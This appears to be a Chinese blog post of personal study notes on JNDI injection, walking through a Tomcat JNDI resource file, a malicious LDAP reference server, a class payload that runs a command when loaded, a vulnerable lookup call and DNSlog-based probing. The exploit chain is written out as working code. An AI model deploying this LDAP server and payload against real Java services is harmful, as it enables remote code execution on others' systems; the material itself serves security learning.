赞
踩
这一篇文章是我的学习笔记,请各位批评指正,感谢
JNDI(Java Naming and Directory Interface),即Java命名和目录接口,它用于给Java应用程序提供命名和目录访问。举例来说,在生产环境当中,Java需要通过JDBC来实现与数据库之间的连接,在连接之前,Java需要获取数据库的访问链接(如:jdbc:mysql://IP地址:端口?user=xx&password=xx)。而这个链接因环境和需求的不同,可能发生多次的变化,所以需要一个目录来提供多个访问链接,使得Java程序能够动态地访问不同的数据库。这时,JNDI就派上了用场。JNDI可以将多个对象绑定至JNDI当中的Context对象当中,以类似文件目录的结构进行存储,当Java程序需要获取链接对象时,只需要调用JNDI的lookup函数即可在此目录结构中找到指定的对象。
某Tomcat服务器内JNDI资源文件中的内容:
<?xml version="1.0" encoding="UTF-8"?> <Context> <!-- Default set of monitored resources. If one of these changes, the --> <!-- web application will be reloaded. --> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <!-- Uncomment this to disable session persistence across Tomcat restarts --> <!--<Manager pathname="" />--> <Resource name="jdbc/mysql" auth="Container" type="javax.sql.DataSource" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/task" username="root" password="123456" maxTotal="20" maxIdle="10" maxWaitMillis="-1"/> </Context>
Servlet获取请求后,将参数封装并用此方法查询数据库:
public class Test{
public static String doSearch(String name){
try{
Context ctx=new InitialContext("资源文件");
DataSource ds=(DataSource)ctx.lookup("jdbc/mysql"); //通过name属性的值找到相应对象,并返回一个Object对象,向下强转为DataSource
Connection con=ds.getConnection(); //成功获取到了Connection对象
...省略...
return "查询结果";
}catch(Exception e){
//pass
}
}
}
LDAP服务器:192.168.10.2:7777
HTTP服务器:192.168.10.3:80(可以使用PHPstudy部署)
首先,部署LDAP服务器,这里可以使用LDAPSDK编写一个简单的服务器:
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.Entry; public class LdapServer { private static final String LDAP_BASE="dc=example,dc=com"; public static void main(String[] argsx) { String[] args=new String[] {"http://192.168.1.36/#Example"}; //要返回的HTTP地址,#号之后是部署在HTTP服务器上的Payload资源名称(Example.class,这里的“.class”省略,因为在后面会进行拼接) int port=7777; //LDAP服务器监听端口 try { InMemoryDirectoryServerConfig config=new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs( new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault() ) ); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds=new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0"); ds.startListening(); }catch(Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor{ private URL codebase; public OperationInterceptor(URL cb) {this.codebase=cb;} public void processSearchResult(InMemoryInterceptedSearchResult result) { String base=result.getRequest().getBaseDN(); Entry e=new Entry(base); try { sendResult(result, base, e); }catch(Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result,String base, Entry e) throws LDAPException,MalformedURLException{ URL turl=new URL(this.codebase,this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for" + base + "redirecting to" + turl); e.addAttribute("javaClassName","foo"); String cbstring=this.codebase.toString(); int refPos=cbstring.indexOf('#'); if(refPos>0) { cbstring=cbstring.substring(0,refPos); } e.addAttribute("javaCodeBase",cbstring); e.addAttribute("objectClass","javaNamingReference"); e.addAttribute("javaFactory",this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
在HTTP服务器上部署的payload资源,即“Example.class”的内容:请注意,编译java文件的JDK版本应与被攻击端的JDK版本兼容
public class Example{
static{
try{
Runtime.getRuntime().exec("calc"); //弹出计算器
}catch(Exception e){
}
}
}
被攻击端的JNDI程序模拟:
import javax.naming.*; //引入JNDI支持包
public class Test{
public static void main(String args[]){
InitialContext ctx=new InitialContext();
ctx.lookup("ldap://192.168.10.2:7777/Example"); //假设传入其中的参数可控,则此服务器会访问LDAP服务器
}
}
以DNS的方式复现注入漏洞,本质上就是使用DNSlog的方式进行漏洞探测,这样做的好处是可以有效隐藏LDAP或RMI服务器的地址,并且由于DNS的数据包较小,容易躲过探测,更加隐蔽。
DNSlog平台:https://dnslog.org/
在DNSlog平台中,生成一个唯一的子域名,然后将其作为参数传递到被攻击端的lookup函数中(dns://xxxxx.dnslog.org)
待程序执行完毕后,在DNSlog平台进行刷新,如果有查询记录出现则说明被攻击端存在JNDI注入漏洞
回头写
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。